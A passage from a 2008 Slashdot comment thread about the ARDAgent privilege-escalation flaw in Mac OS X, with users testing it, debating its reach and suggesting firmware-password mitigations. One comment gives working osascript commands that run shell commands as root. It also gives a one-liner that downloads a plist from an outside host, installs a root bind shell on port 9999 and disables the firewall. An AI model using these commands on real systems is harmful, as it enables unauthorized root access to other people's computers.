    Not really, I didn't turn on Remote Desktop Sharing, but I get the same output...
    • Re:ARDagent by ncc74656 (Score:2) Thursday June 19 2008, @12:11AM
  • Re:ARDagent (Score:4, Interesting)

    by generica1 (193760) on Wednesday June 18 2008, @04:41PM (#23845901) Homepage
    My apologies. There was no article sourced in the posting and I couldn't recreate the exploit on any of the Macs in my house via SSH *or* with local physical access via Terminal.app. I kept getting:

    23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

    No matter whether I tried ssh from remote, or local console bash.

    Tested on a MacBook Pro running 10.5.3, an iBook running 10.4.11 and a g5 PPC OS X Server running 10.4.11 (Server build).

    So....YMMV....
    • Re:ARDagent by Anonymous Coward (Score:1) Wednesday June 18 2008, @05:14PM
    • 1 reply beneath your current threshold.
  • Quick Question (Score:2, Informative)

    by Gewalt (1200451) on Wednesday June 18 2008, @04:59PM (#23846167)
    I can't get the script to successfully run anything other than "whoami". Has anyone else found this to actually be exploitable... or is this just a silly "hey lets make terminal output scary characters" game?
  • by sleigher (961421) on Wednesday June 18 2008, @05:25PM (#23846527)
    I ain't got time to bleed....
  • Re:ARDagent (Score:5, Interesting)

    by Sentry21 (8183) on Wednesday June 18 2008, @05:50PM (#23846855) Journal
    Disconfirmed - I don't have (and never have had) Screen Sharing enabled on Leopard 10.5.3, and this exploit works perfectly.

    dan@Geelong:~$ ls -lh /etc/somefile
    ls: /etc/somefile: No such file or directory
    dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/somefile"'
    dan@Geelong:~$ ls -lh /etc/somefile
    -rw-rw-rw- 1 root wheel 0B Jun 18 14:16 /etc/somefile
    dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm /etc/somefile"'
    dan@Geelong:~$ ls -lh /etc/somefile
    ls: /etc/somefile: No such file or directory
    So, how dangerous is this? Here's an example:

    osascript -e 'tell app "ARDAgent" to do shell script "cd /System/Library/LaunchDaemons ; curl -o bash.plist http://cdslash.net/temp/bash.plist [cdslash.net] ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl "'

    This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can 'nc localhost 9999' and find yourself at a root shell.

    To remove, run 'launchctl unload com.apple.bash' 'launchctl unload /System/Library/LaunchDaemons/bash.plist' and then 'rm /System/Library/LaunchDaemons/bash.plist'

    It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script.

    So yeah; anything can be downloaded, and anything can be done with it. Scary.
    • Re:ARDagent by That's What She Said (Score:1) Wednesday June 18 2008, @06:40PM
    • Re:ARDagent (Score:4, Informative)

      by Kadin2048 (468275) <slashdot@kadin.xoxy@net> on Wednesday June 18 2008, @07:23PM (#23847999) Homepage Journal
      I don't think the GP was saying that you need to have Screen Sharing enabled for the exploit to work at all; you need to have Screen Sharing turned on for someone to run the exploit without physical access to the machine.

      I.e., you can't run it over an SSH session; you need the Finder. The only ways to get access to the Finder are either physically, by sitting down in front of the computer, or by using a screen-sharing application like Screen Sharing (Remote Desktop), or VNC.

      That was my understanding, at least.

      The exploit works, if you have physical access to the machine, regardless of whether you have Screen Sharing enabled or not. However, it's when you have Screen Sharing turned on that it's possibly a remote root to anyone you let access your screen.

      It's a bad vulnerability and one that I'd like to see Apple fix ASAP, but it's several steps down from a true unprivileged remote root. It might have negative consequences for shared and lab machines, but for most home and office users it doesn't seem like it means much, unless you typically allow lots of people remote-desktop/VNC access.
      • Re:ARDagent by Sentry21 (Score:2) Wednesday June 18 2008, @08:42PM
        • Re:ARDagent by falcon5768 (Score:2) Wednesday June 18 2008, @09:34PM
      • 1 reply beneath your current threshold.
  • by lucas teh geek (714343) on Wednesday June 18 2008, @06:39PM (#23847485)
    $ ssh localhost
    Last login: Thu Jun 19 09:35:17 2008
    lucas@Hackintosh ~
    $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
    23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
    what am I doing wrong? is this fixed in 10.5.3 or something?
  • It's a submission from an anonymous user that doesn't cite any sources. That's pretty shoddy, even by Slashdot standards.

    Are you really so lazy that you need a source for something so trivially replicated?
  • by commodoresloat (172735) * on Wednesday June 18 2008, @10:53PM (#23850189) Homepage

    $ It probably also affects apple remote desktop, though.
    Gee, ya think?
  • by Ilgaz (86384) on Thursday June 19 2008, @10:16AM (#23857389) Homepage
    Not saying to devalidate your post (which is true) but for the concerned, Apple Open Firmware/EFI Password can be enabled by following instructions at http://support.apple.com/kb/HT1352 [apple.com] . If I had a laptop instead of desktop, I would enable it directly.

    Blocks the ability to use the "C" key to start up from an optical disc.
    Blocks the ability to use the "N" key to start up from a NetBoot server.
    Blocks the ability to use the "T" key to start up in Target Disk Mode (on computers that offer this feature).
    Blocks the ability to start up in Verbose mode by pressing the Command-V key combination during startup.
    Block the ability to start up a system in Single-user mode by pressing the Command-S key combination during startup.
    Blocks a reset of Parameter RAM (PRAM) by pressing the Command-Option-P-R key combination during startup.
    Requires the password to use the Startup Manager, accessed by pressing the Option key during startup (see below).
    Requires the password to enter commands after starting up in Open Firmware, which is done by pressing the Command-Option-O-F key combination during startup.
    Blocks the ability to start up in Safe Boot mode by pressing the Shift key during startup.

    (Similar stuff on Intel)
  • You just need the ability to execute applescript on the machine.

    It's not quite as easy as passing in an "applescript:" URL, at least...

    An external application must be launched to handle applescript: links.

    Requested link:

    applescript:do%20shell%20script%20%22whoami%22

    Application: Script Editor
  • 31 replies beneath your current threshold.